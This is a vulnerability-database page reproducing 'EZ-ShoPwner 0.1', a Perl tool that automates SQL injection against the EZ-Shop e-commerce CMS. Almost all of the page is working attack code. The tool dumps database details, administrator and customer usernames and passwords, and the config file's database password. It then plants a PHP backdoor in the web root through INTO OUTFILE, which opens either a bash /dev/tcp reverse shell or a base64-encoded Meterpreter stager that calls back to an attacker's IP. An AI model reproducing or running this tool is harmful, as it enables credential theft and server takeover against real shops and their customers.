Lucene search
+L
Catalog
Vendors
Products
Timeline
Vulnerabilities
Sources
Documentation
Blog
Glossary
FAQ
Brand assets
Assessment
Agents dashboard
Agent Scanning
API Scanning
Assessment API
Alerts
Email notifications
Webhook notifications
Alerts API
SBOM package analysis
API Reference
Settings
Sign in

EZ-ShoPwner 0.1

🗓️ 19 Aug 2011 00:00:00Reported by mr.pr0nType 
packetstorm
 packetstorm🔗 packetstormsecurity.com👁 26 Views

EZ-ShoPwner 0.1 - Automated pwning tool for EZ-Shop CM

Code
`#!/usr/bin/perl  
#  
# --------------------------------------------------------------------------------------------------------------------  
# EZ-ShoPwner [EZ-Shop's PWNING tool] v.0.1  
#  
# Coded by mr.pr0n - http://s3cure.gr - (@_pr0n_)   
# (C)opyleft - 08/2011  
#  
# EZ-ShoPwner is a fully automated pwning tool for the EZ-Shop Content Managment System (CMS).  
# EZ-Shop, is an open source e-Commerce Content Managment System.  
#  
# You can download -for free- the EZ-Shop Content Managment System :  
# [+] http://sourceforge.net/projects/ez-shop/files/ecommerce-installer-fc-1.0.2.zip/download  
#  
# Credits for the discovery of this vulnerability goes to Giovanni Buzzin, "Osirys".  
# Please, don't forget that "EZ-Shopwner tool created for educational purpose."  
#  
# EZ-ShoPwner -pwning tool- tested on BackTrack 5 (Revolution).  
#  
# Needed tools :  
# [+] xterm  
# [+] Metasploit Framework (http://www.metasploit.com/)  
#  
# --------------------------------------------------------------------------------------------------------------------  
#  
  
use LWP::UserAgent;  
  
print " \n";  
print " _pWn_ _PwN_ ____ _ \n";  
print "| ____|__ / / ___|| |__ ___ _ ____ ___ __ ___ _ __ \n";  
print "| _| / /____\\___ \\| '_ \\ / _ \\| '_ \\ \\ /\\ / / '_ \\ / _ \\ '__| \n";  
print "| |___ / /|_____|__) | | | | (_) | |_) \\ V V /| | | | __/ | \n";  
print "|_____/____| |____/|_| |_|\\___/| .__/ \\_/\\_/ |_| |_|\\___|_| \n";  
print " |_| ...the evil EZ-Shop's PWNING tool [!] \n";  
  
# -------------------------------------  
# Enter the target's options.  
# -------------------------------------  
print "\nEnter the target (e.g.: http://www.target.gr)";  
print "\n> ";  
$target=<STDIN>;  
chomp($target);  
$target = "http://".$target if ($target !~ /^http:/);  
  
print "\nEnter the EZ-Shop's directory (e.g.: ezshop)";  
print "\n> ";  
$dir=<STDIN>;  
chomp($dir);  
  
$target = $target."/".$dir."/";  
  
# ----------------------------------------  
# The vulnerable parameter.  
# ----------------------------------------  
$vuln = "specialoffer.php?specialid=";   
  
# For more information about the vulnerability check:  
# http://www.exploit-db.com/exploits/17170/  
  
# ----------------------------------------  
# The vulnerable column.  
# ----------------------------------------  
$general = "3";  
  
# --------------------------------------  
# Checking if the target is vulenerable.  
# --------------------------------------  
print "\n[+] Checking if the target is vulenerable... \n";  
sleep(3);  
$check = "1' UNION ALL SELECT 1,2,concat(0x21,$general,0x21),4,5#";  
$check =~ s/(.)/sprintf("%x",ord($1))/eg;  
$sqli2 ="0x"."$check";  
$sqli1 = "1' UNION ALL SELECT 1,2,".$sqli2."%23";  
$int = LWP::UserAgent->new() or die;  
$check=$int->get($target.$vuln.$sqli1);  
  
if ($check->content =~ m/!(.*)!/g)  
{  
print "[+] Target, seem to be vulnerable! \n";  
sleep(3);  
  
# -----------------  
# The Main Menu.  
# -----------------  
menu:;  
print "\n[+] Main Menu:\n";  
print " 1. Export database information.\n";  
print " 2. Export Infomation_Schema (Tables / Columns).\n";  
print " 3. Export administrator(s) account(s)\n";  
print " 4. Export customer(s) account(s).\n";  
print " 5. Get a shell I (netcat).\n";  
print " 6. Get a shell II (metasploit).\n";  
print " 7. Exit.\n";  
  
print "> ";  
$option=<STDIN>;  
if ($option!=1 && $option!=2 && $option!=3 && $option!=4 && $option!=5 && $option!=6 && $option!=7)  
{  
print "Oups, wrong option.\nPlease, try again.\n";  
goto menu;  
}  
  
# Options.  
if ($option==1)  
{&database} # Export database information.  
if ($option==2)  
{&info_schema} # Export Infomation_Schema (Tables / Columns).  
if ($option==3)  
{&ext_admin} # Export administrator(s) account(s)  
if ($option==4)  
{&ext_cust} # Export customer(s) account(s).  
if ($option==5)  
{&netcat} # Upload a backdoor to the target and get a shell (with netcat).  
if ($option==6)  
{&metasploit} # Upload a backdoor to the target and get a shell (with metasploit).  
if ($option==7)  
{&quit} # Exit.  
  
# -----------------------------------------  
# Export database information.  
# -----------------------------------------  
sub database  
{  
  
print "\n[+] Exporting Database information... \n";  
sleep(3);  
  
# --------------------------------------  
# Server name.  
# --------------------------------------  
$db_user = "user()";  
$check = "1' UNION ALL SELECT 1,2,concat(0x21,$db_user,0x21),4,5#";  
$check =~ s/(.)/sprintf("%x",ord($1))/eg;  
$sqli2 ="0x"."$check";  
$sqli1 = "1' UNION ALL SELECT 1,2,".$sqli2."%23";  
$int = LWP::UserAgent->new() or die;  
$check=$int->get($target.$vuln.$sqli1);  
if ($check->content =~ m/\@(.*)!/g)  
{  
$db_user = $1;  
print " [*] Server name : "."$db_user\n";;  
}  
else  
{  
print " [-] Server name, not found.\n";  
}  
  
# --------------------------------------   
# Database Version.  
# --------------------------------------  
$db_version = "version()";  
$check = "1' UNION ALL SELECT 1,2,concat(0x21,$db_version,0x21),4,5#";  
$check =~ s/(.)/sprintf("%x",ord($1))/eg;  
$sqli2 ="0x"."$check";  
$sqli1 = "1' UNION ALL SELECT 1,2,".$sqli2."%23";  
$int = LWP::UserAgent->new() or die;  
$check=$int->get($target.$vuln.$sqli1);  
if ($check->content =~ m/!(.*)!/g)  
{  
$db_version = $1;  
print " [*] Database version : "."$db_version\n";  
}   
else   
{  
print " [-] Database version, not found.\n";  
}  
  
# --------------------------------------  
# Database Name.  
# --------------------------------------  
$db_name = "database()";  
$check = "1' UNION ALL SELECT 1,2,concat(0x21,$db_name,0x21),4,5#";  
$check =~ s/(.)/sprintf("%x",ord($1))/eg;  
$sqli2 ="0x"."$check";  
$sqli1 = "1' UNION ALL SELECT 1,2,".$sqli2."%23";  
$int = LWP::UserAgent->new() or die;  
$check=$int->get($target.$vuln.$sqli1);  
if ($check->content =~ m/!(.*)!/g)  
{  
$db_name = $1;  
print " [*] Database name : "."$db_name\n";  
}   
else   
{  
print " [-] Database's name, not found.\n";  
}  
  
# --------------------------------------  
# Database User.  
# --------------------------------------  
$db_user = "user()";  
$check = "1' UNION ALL SELECT 1,2,concat(0x21,$db_user,0x21),4,5#";  
$check =~ s/(.)/sprintf("%x",ord($1))/eg;  
$sqli2 ="0x"."$check";  
$sqli1 = "1' UNION ALL SELECT 1,2,".$sqli2."%23";  
$int = LWP::UserAgent->new() or die;  
$check=$int->get($target.$vuln.$sqli1);  
if ($check->content =~ m/!(.*)\@/g)  
{  
$db_user = $1;  
print " [*] Database user : "."$db_user\n";  
}  
else  
{  
print " [-] Database user, not found.\n";  
}  
  
# -----------------------------------------------------------------  
# Load "system/config.inc.php" for Database Password.  
# -----------------------------------------------------------------  
$file = "/var/www/html/".$dir."/system/config.inc.php"; # <--- Change this if needed.  
$file =~ s/(.)/sprintf("%x",ord($1))/eg;  
$file ="0x"."$file";  
$load_file = "LOAD_FILE($file)";  
  
$check = "1' UNION ALL SELECT 1,2,concat(0x21,$load_file,0x21),4,5 #";  
$check =~ s/(.)/sprintf("%x",ord($1))/eg;  
$sqli2 ="0x"."$check";  
$sqli1 = "1' UNION ALL SELECT 1,2,".$sqli2."%23";  
  
$int = LWP::UserAgent->new() or die;  
$check=$int->get($target.$vuln.$sqli1);  
if ($check->content =~ m/PASSWORD','(.*)'/g)  
{  
$PASSWORD = $1;  
print " [*] Password : "."$1\n";  
}  
else   
{  
print " [-] Database's password, not found.\n";  
}  
goto menu;  
}  
  
# --------------------------------------------------  
# # Export Infomation_Schema (Tables / Columns).  
# --------------------------------------------------  
sub info_schema  
{  
print "\n[+] Exporting Information_Schema (Tables / Columns)...\n";  
sleep(3);  
  
$check = "1' UNION ALL SELECT 1,2,concat(0x21,table_name,0x21),4,5 FROM Information_Schema.tables #";  
$check =~ s/(.)/sprintf("%x",ord($1))/eg;  
$sqli2 ="0x"."$check";  
$sqli1 = "1' UNION ALL SELECT 1,2,".$sqli2."%23";  
$int = LWP::UserAgent->new() or die;  
$check=$int->get($target.$vuln.$sqli1);  
if ($check->content =~ m/!(.*)!/g)  
{  
$first_table = $1;  
print " [*] $first_table\n";  
$first_table = "'".$first_table."'";  
$check = "1' UNION ALL SELECT 1,2,concat(0x21,column_name,0x21),4,5 FROM Information_Schema.columns WHERE table_name=($first_table) #";  
$check =~ s/(.)/sprintf("%x",ord($1))/eg;  
$sqli2 ="0x"."$check";  
$sqli1 = "1' UNION ALL SELECT 1,2,".$sqli2."%23";  
$int = LWP::UserAgent->new() or die;  
$check=$int->get($target.$vuln.$sqli1);  
if ($check->content =~ m/!(.*)!/g)  
{  
$first_column = $1;  
print " [*] $first_column\n";  
$first_column = "'".$first_column."'";  
for ($i=1; $i <= 20; $i++)  
{  
$check = "1' UNION ALL SELECT 1,2,concat(0x21,column_name,0x21),4,5 FROM Information_Schema.columns WHERE table_name=$first_table AND column_name NOT IN ($first_column) #";  
$check =~ s/(.)/sprintf("%x",ord($1))/eg;  
$sqli2 ="0x"."$check";  
$sqli1 = "1' UNION ALL SELECT 1,2,".$sqli2."%23";  
$int = LWP::UserAgent->new() or die;  
$check=$int->get($target.$vuln.$sqli1);  
if ($check->content =~ m/!(.*)!/g)  
{  
$next_column = $1;  
print " [*] $next_column\n";  
$next_column = "'".$next_column."'";  
$first_column = $first_column.",".$next_column;  
}  
}  
}  
for ($i=1; $i <= 50; $i++)  
{  
$check = "1' UNION ALL SELECT 1,2,concat(0x21,table_name,0x21),4,5 FROM Information_Schema.tables WHERE table_name NOT IN ($first_table) #";  
$check =~ s/(.)/sprintf("%x",ord($1))/eg;  
$sqli2 ="0x"."$check";  
$sqli1 = "1' UNION ALL SELECT 1,2,".$sqli2."%23";  
$int = LWP::UserAgent->new() or die;  
$check=$int->get($target.$vuln.$sqli1);  
if ($check->content =~ m/!(.*)!/g)  
{  
$next_table = $1;  
print "\n [*] $next_table\n";  
$next_table = "'".$next_table."'";  
$check = "1' UNION ALL SELECT 1,2,concat(0x21,column_name,0x21),4,5 FROM Information_Schema.columns WHERE table_name=($next_table) #";  
$check =~ s/(.)/sprintf("%x",ord($1))/eg;  
$sqli2 ="0x"."$check";  
$sqli1 = "1' UNION ALL SELECT 1,2,".$sqli2."%23";  
$int = LWP::UserAgent->new() or die;  
$check=$int->get($target.$vuln.$sqli1);  
if ($check->content =~ m/!(.*)!/g)  
{  
$first_column = $1;  
print " [*] $first_column\n";  
$first_column = "'".$first_column."'";  
for ($i=1; $i <= 40; $i++)  
{  
$check = "1' UNION ALL SELECT 1,2,concat(0x21,column_name,0x21),4,5 FROM Information_Schema.columns WHERE table_name=($next_table) AND column_name NOT IN ($first_column) #";  
$check =~ s/(.)/sprintf("%x",ord($1))/eg;  
$sqli2 ="0x"."$check";  
$sqli1 = "1' UNION ALL SELECT 1,2,".$sqli2."%23";  
$int = LWP::UserAgent->new() or die;  
$check=$int->get($target.$vuln.$sqli1);  
if ($check->content =~ m/!(.*)!/g)  
{  
$next_column = $1;  
print " [*] $next_column\n";  
$next_column = "'".$next_column."'";  
$first_column = $first_column.",".$next_column;  
}  
}  
}  
$first_table = $first_table.",".$next_table;   
}  
}  
}  
else  
{  
print "Information_Schema.tables, not accessible.\n";  
}  
goto menu;  
}  
  
# -------------------------------------------  
# Export administrator(s) account(s).  
# -------------------------------------------  
sub ext_admin  
{  
print "\n[+] Exporting administrator(s) account(s)... \n";  
sleep(3);  
  
$adm_user_pass = "0x21,varadminfname,0x3a,varadminname,0x3a,varpassword,0x3a,varemail,0x21";  
# Check for 20 administrator accounts!  
for ($i=1; $i<=20; $i++) # <--- Change this if needed.  
{  
$check = "1' UNION ALL SELECT 1,2,concat($adm_user_pass),4,5 FROM tbladmin WHERE intid=".$i."#";  
$check =~ s/(.)/sprintf("%x",ord($1))/eg;  
$sqli2 ="0x"."$check";  
$sqli1 = "1' UNION ALL SELECT 1,2,".$sqli2."%23";  
$int = LWP::UserAgent->new() or die;  
$check=$int->get($target.$vuln.$sqli1);  
if ($check->content =~ m/!(.*):(.*):(.*):(.*)!/g)  
{  
  
$realname = $1;  
$username = $2;  
$password = $3;  
$email = $4;  
  
print " [*] Name : $realname \n";  
print " [*] Username : $username \n";  
print " [*] Password : $password \n";  
print " [*] Email : $email \n\n";  
  
}  
}  
goto menu;  
}  
  
# ----------------------------------------  
# Export customer(s) account(s).  
# ----------------------------------------  
sub ext_cust  
{  
print "\n[+] Exporting customer(s) account(s)... \n";  
sleep(3);  
  
$cust_user_pass = "0x21,varcustemail,0x3a,varcustpassword,0x21";  
# Check for 20 customers accounts!  
for ($i=1; $i<=20; $i++) # <--- Change this if needed.  
{  
$check = "1' UNION ALL SELECT 1,2,concat($cust_user_pass),4,5 FROM tblcustomers WHERE intcusid=".$i."#";  
$check =~ s/(.)/sprintf("%x",ord($1))/eg;  
$sqli2 ="0x"."$check";  
$sqli1 = "1' UNION ALL SELECT 1,2,".$sqli2."%23";  
$int = LWP::UserAgent->new() or die;  
$check=$int->get($target.$vuln.$sqli1);  
if ($check->content =~ m/!(.*):(.*)!/g)  
{  
$email = $1;  
$password = $2;  
  
print " [*] Email : $email \n";  
print " [*] Password : $password\n\n";  
}  
}  
goto menu;  
}  
  
# -------------------------------------------------------------------------  
# Upload a backdoor to target and get a shell (netcat).  
# -------------------------------------------------------------------------  
sub netcat  
{  
print "\nEnter the IP address for the reverse connection (e.g.: 192.168.178.25)";  
print "\n> ";  
$ip=<STDIN>;  
chomp($ip);  
  
print "\nEnter the port to connect back on (e.g.: 4444)";  
print "\n> ";  
$port=<STDIN>;  
chomp($port);  
  
# The "netcat without netcat" trick,  
# takes the /dev/tcp socket programming feature and uses it to redirect /bin/bash to a remote system.  
$payload =   
"<?php ".  
"system('/bin/bash -i > /dev/tcp/$ip/$port 0<&1 2>&1');".  
"?>";  
  
#Encode the payload to Hex.  
$payload =~ s/(.)/sprintf("%x",ord($1))/eg;  
$payload ="0x"."$payload";  
  
$filename = "config_".int(rand()*1011).".php";  
  
# The path where the backdoor will uploaded.  
$path = $dir."/".$filename;   
  
$nc= "nc -lvp $port";  
print "\n[+] Wait for reverse connection on port $port...\n";  
system("xterm -e $nc &");  
  
print "[+] Uploading the backdoor to server... \n";  
$junk="''";  
$check = "1' UNION ALL SELECT $junk,$junk,$junk,$junk,$payload INTO OUTFILE '/var/www/html/$path'#";  
$check =~ s/(.)/sprintf("%x",ord($1))/eg;  
$sqli2 ="0x"."$check";  
$sqli1 = "1' UNION ALL SELECT 1,2,".$sqli2."%23";  
  
sleep(10);  
$int = LWP::UserAgent->new() or die;  
$check=$int->get($target.$vuln.$sqli1);  
  
$int = LWP::UserAgent->new() or die;  
$check=$int->get($target.$filename);  
  
if ($check->content =~ m/was not found/g)  
{  
print "[-] Failed to upload the backdoor!\n\n";  
}  
  
goto menu;  
}  
  
# -------------------------------------------------------------------------  
# Upload a backdoor to target and get a shell (metasploit).  
# -------------------------------------------------------------------------  
sub metasploit  
{  
print "\nEnter the IP address for the reverse connection (e.g.: 192.168.178.25)";  
print "\n> ";  
$ip=<STDIN>;  
chomp($ip);  
  
print "\nEnter the port to connect back on (e.g.: 4444)";  
print "\n> ";  
$port=<STDIN>;  
chomp($port);  
  
# The payload created with metasploit (msfpayload):  
# "msfpayload php/meterpreter/reverse_tcp LHOST=192.168.178.25 LPORT=4444 R | msfencode -e php/base64 -t raw -o /root/ezshopwner.php"  
# ... and encoded (msfencode) in base64!  
  
$payload = "'<?php ". # <--- Don't remove this.  
####  
# Create your paylaoad and replace here.  
# "msfpayload php/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> R | msfencode -e php/base64 -t raw -o /root/ezshopwner.php"  
####  
"eval(base64_decode(Izw.chr(47).cGhwCgplcnJvcl9yZXBvcnRpbmcoMCk7CiMgVGhlIHBheWxvYWQgaGFuZGxlciBvdmVyd3JpdGVz". # <-- Replace from here..  
"IHRoaXMgd2l0aCB0aGUgY29ycmVjdCBMSE9TVCBiZWZvcmUgc2VuZGluZwojIGl0IHRvIHRoZSB2aWN0aW0uCiRpcCA9ICcxOTIuMTY4LjE".  
"3OC4yNSc7CiRwb3J0ID0gNDQ0NDsKaWYgKEZBTFNFICE9PSBzdHJwb3MoJGlwLCAiOiIpKSB7CgkjIGlwdjYgcmVxdWlyZXMgYnJhY2tldH".  
"MgYXJvdW5kIHRoZSBhZGRyZXNzCgkkaXAgPSAiWyIuICRpcCAuIl0iOwp9CgppZiAoKCRmID0gJ3N0cmVhbV9zb2NrZXRfY2xpZW50JykgJ".  
"iYgaXNfY2FsbGFibGUoJGYpKSB7CgkkcyA9ICRmKCJ0Y3A6Ly97JGlwfTp7JHBvcnR9Iik7Cgkkc190eXBlID0gJ3N0cmVhbSc7Cn0gZWxz".  
"ZWlmICgoJGYgPSAnZnNvY2tvcGVuJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7CgkkcyA9ICRmKCRpcCwgJHBvcnQpOwoJJHNfdHlwZSA9ICd".  
"zdHJlYW0nOwp9IGVsc2VpZiAoKCRmID0gJ3NvY2tldF9jcmVhdGUnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsKCSRzID0gJGYoQUZfSU5FVC".  
"wgU09DS19TVFJFQU0sIFNPTF9UQ1ApOwoJJHJlcyA9IEBzb2NrZXRfY29ubmVjdCgkcywgJGlwLCAkcG9ydCk7CglpZiAoISRyZXMpIHsgZ".  
"GllKCk7IH0KCSRzX3R5cGUgPSAnc29ja2V0JzsKfSBlbHNlIHsKCWRpZSgnbm8gc29ja2V0.IGZ1bmNzJyk7Cn0KaWYgKCEkcykgeyBkaWU".  
"oJ25vIHNvY2tldCcpOyB9Cgpzd2l0Y2ggKCRzX3R5cGUpIHsgCmNhc2UgJ3N0cmVhbSc6ICRsZW4gPSBmcmVhZCgkcywgNCk7IGJyZWFrOw".  
"pjYXNlICdzb2NrZXQnOiAkbGVuID0gc29ja2V0X3JlYWQoJHMsIDQpOyBicmVhazsKfQppZiAoISRsZW4pIHsKCSMgV2UgZmFpbGVkIG9uI".  
"HRoZSBtYWluIHNvY2tldC4gIFRoZXJlJ3Mgbm8gd2F5IHRvIGNvbnRpbnVlLCBzbwoJIyBiYWlsCglkaWUoKTsKfQokYSA9IHVucGFjaygi".  
"TmxlbiIsICRsZW4pOwokbGVuID0gJGFbJ2xlbiddOwoKJGIgPSAnJzsKd2hpbGUgKHN0cmxlbigkYikgPCAkbGVuKSB7Cglzd2l0Y2ggKCR".  
"zX3R5cGUpIHsgCgljYXNlICdzdHJlYW0nOiAkYiAuPSBmcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7CgljYXNlICdzb2NrZX".  
"QnOiAkYiAuPSBzb2NrZXRfcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7Cgl9Cn0KCiMgU2V0IHVwIHRoZSBzb2NrZXQgZm9yI".  
"HRoZSBtYWluIHN0YWdlIHRvIHVzZS4KJEdMT0JBTFNbJ21zZ3NvY2snXSA9ICRzOwokR0xPQkFMU1snbXNnc29ja190eXBlJ10gPSAkc190".   
"eXBlOwpldmFsKCRiKTsKZGllKCk7Cg));". # <-- ...to here!  
####  
" ?>'"; # <--- Don't remove this.  
  
# The backdoor name.  
$filename = "config_".int(rand()*1010).".php";   
  
# The path where the backdoor will uploaded.  
$path = $dir."/".$filename;  
  
print "\n[+] Executing the msfcli... \n";  
$msfcli = "msfcli multi/handler PAYLOAD=php/meterpreter/reverse_tcp LHOST=$ip LPORT=$port E";  
system("xterm -e $msfcli &");  
  
print "[+] Uploading the backdoor to server... \n";  
$junk="''";  
$check = "1' UNION ALL SELECT $junk,$junk,$junk,$junk,$payload INTO OUTFILE '/var/www/html/$path'#";  
$check =~ s/(.)/sprintf("%x",ord($1))/eg;  
$sqli2 ="0x"."$check";  
$sqli1 = "1' UNION ALL SELECT 1,2,".$sqli2."%23";  
  
sleep(40);  
$int = LWP::UserAgent->new() or die;  
$check=$int->get($target.$vuln.$sqli1);  
  
$int = LWP::UserAgent->new() or die;  
$check=$int->get($target.$filename);  
  
if ($check->content =~ m/was not found/g)  
{  
print "[-] Failed to upload the backdoor!\n\n";  
}  
  
goto menu;  
}  
  
# ----------------------  
# Exit EZ-ShoPwner  
# ----------------------  
sub quit  
{  
print "Exiting EZ-ShoPwner..\n";  
sleep(1);  
exit(0);  
}  
}  
  
else   
{  
print "[-] Target, *NOT* seem to be vulnerable.\n\n";  
}  
  
# --------------------------------------------------------------------------------------------  
# ...is *NOT* guarantee that EZ-Shopwner will work against your target server(s).  
# --------------------------------------------------------------------------------------------  
  
# EOF :-)  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

Book a live demo
19 Aug 2011 00:00Current
7.4High risk
Vulners AI Score7.4
perlcontent management systemvulnerabilityexploitautomationcmsmetasploitbacktrack 5
26